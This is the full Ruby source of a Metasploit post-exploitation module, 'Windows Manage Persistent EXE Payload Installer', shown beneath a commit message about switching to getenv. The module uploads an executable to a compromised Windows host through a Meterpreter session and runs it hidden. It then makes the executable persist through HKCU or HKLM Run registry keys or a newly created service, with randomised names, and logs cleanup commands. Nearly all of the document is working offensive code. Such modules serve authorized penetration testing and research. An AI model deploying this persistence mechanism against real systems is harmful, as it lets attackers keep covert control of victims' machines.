53557cc92e
expand_path is not implemented consistently across platforms and sessions, which leads to confusing behavior. In places where we have trivial single variable expansions, this changes modules and library code to just use getenv. We'll look at the rest individually to see if they can also be reimplemented in terms of getenv.
205 lines
7.9 KiB
Ruby
205 lines
7.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::Windows::Services
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Windows Manage Persistent EXE Payload Installer',
|
|
'Description' => %q(
|
|
This Module will upload an executable to a remote host and make it Persistent.
|
|
It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
|
|
SYSTEM will start on system boot but requires privs. SERVICE will create a new service
|
|
which will start the payload. Again requires privs.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
|
|
'Version' => '$Revision:1$',
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter']))
|
|
|
|
register_options(
|
|
[
|
|
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
|
|
OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
|
|
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
|
|
OptString.new('StartupName', [false, 'The name of service or registry. Random string as default.' ]),
|
|
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
|
|
])
|
|
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
#-------------------------------------------------------------------------------
|
|
def run
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
# Set vars
|
|
rexe = datastore['REXEPATH']
|
|
rexename = datastore['REXENAME']
|
|
host, _port = session.tunnel_peer.split(':')
|
|
@clean_up_rc = ""
|
|
|
|
raw = create_payload_from_file rexe
|
|
|
|
# Write script to %TEMP% on target
|
|
script_on_target = write_exe_to_target(raw, rexename)
|
|
|
|
# Initial execution of script
|
|
target_exec(script_on_target)
|
|
|
|
case datastore['STARTUP']
|
|
when /USER/i
|
|
write_to_reg("HKCU", script_on_target)
|
|
when /SYSTEM/i
|
|
write_to_reg("HKLM", script_on_target)
|
|
when /SERVICE/i
|
|
install_as_service(script_on_target)
|
|
end
|
|
|
|
clean_rc = log_file
|
|
file_local_write(clean_rc, @clean_up_rc)
|
|
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
|
|
|
report_note(host: host,
|
|
type: "host.persistance.cleanup",
|
|
data: {
|
|
local_id: session.sid,
|
|
stype: session.type,
|
|
desc: session.info,
|
|
platform: session.platform,
|
|
via_payload: session.via_payload,
|
|
via_exploit: session.via_exploit,
|
|
created_at: Time.now.utc,
|
|
commands: @clean_up_rc
|
|
})
|
|
end
|
|
|
|
# Function for creating log folder and returning log path
|
|
#-------------------------------------------------------------------------------
|
|
def log_file(log_path = nil)
|
|
# Get hostname
|
|
host = session.sys.config.sysinfo["Computer"]
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
logs = if log_path
|
|
::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
|
|
else
|
|
::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
|
|
end
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
# logfile name
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
logfile
|
|
end
|
|
|
|
# Function to execute script on target and return the PID of the process
|
|
#-------------------------------------------------------------------------------
|
|
def target_exec(script_on_target)
|
|
print_status("Executing script #{script_on_target}")
|
|
proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
|
|
print_good("Agent executed with PID #{proc.pid}")
|
|
@clean_up_rc << "kill #{proc.pid}\n"
|
|
proc.pid
|
|
end
|
|
|
|
# Function to install payload in to the registry HKLM or HKCU
|
|
#-------------------------------------------------------------------------------
|
|
def write_to_reg(key, script_on_target)
|
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
|
|
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
if key
|
|
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
|
|
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
|
|
else
|
|
print_error("Error: failed to open the registry key for writing")
|
|
end
|
|
end
|
|
|
|
# Function to install payload as a service
|
|
#-------------------------------------------------------------------------------
|
|
def install_as_service(script_on_target)
|
|
if is_system? || is_admin?
|
|
print_status("Installing as service..")
|
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
|
|
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
|
|
print_status("Creating service #{nam}")
|
|
|
|
key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description)
|
|
|
|
# check if service had been created
|
|
if key != 0
|
|
print_error("Service #{nam} creating failed.")
|
|
return
|
|
end
|
|
|
|
# if service is stopped, then start it.
|
|
service_start(nam) if service_status(nam)[:state] == 1
|
|
|
|
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
|
|
else
|
|
print_error("Insufficient privileges to create service")
|
|
end
|
|
end
|
|
|
|
# Function for writing executable to target host
|
|
#-------------------------------------------------------------------------------
|
|
def write_exe_to_target(rexe, rexename)
|
|
# check if we have write permission
|
|
# I made it by myself because the function filestat.writable? was not implemented yet.
|
|
if not datastore['LocalExePath'].nil?
|
|
|
|
begin
|
|
temprexe = datastore['LocalExePath'] + "\\" + rexename
|
|
write_file_to_target(temprexe,rexe)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
|
|
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
|
|
write_file_to_target(temprexe,rexe)
|
|
end
|
|
|
|
# Write to %temp% directory if not set LocalExePath
|
|
else
|
|
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
|
|
write_file_to_target(temprexe,rexe)
|
|
end
|
|
|
|
print_good("Persistent Script written to #{temprexe}")
|
|
@clean_up_rc << "rm #{temprexe.gsub("\\", "\\\\\\\\")}\n"
|
|
temprexe
|
|
end
|
|
|
|
def write_file_to_target(temprexe,rexe)
|
|
fd = session.fs.file.new(temprexe, "wb")
|
|
fd.write(rexe)
|
|
fd.close
|
|
end
|
|
|
|
# Function to create executable from a file
|
|
#-------------------------------------------------------------------------------
|
|
def create_payload_from_file(exec)
|
|
print_status("Reading Payload from file #{exec}")
|
|
::IO.read(exec)
|
|
end
|
|
end
|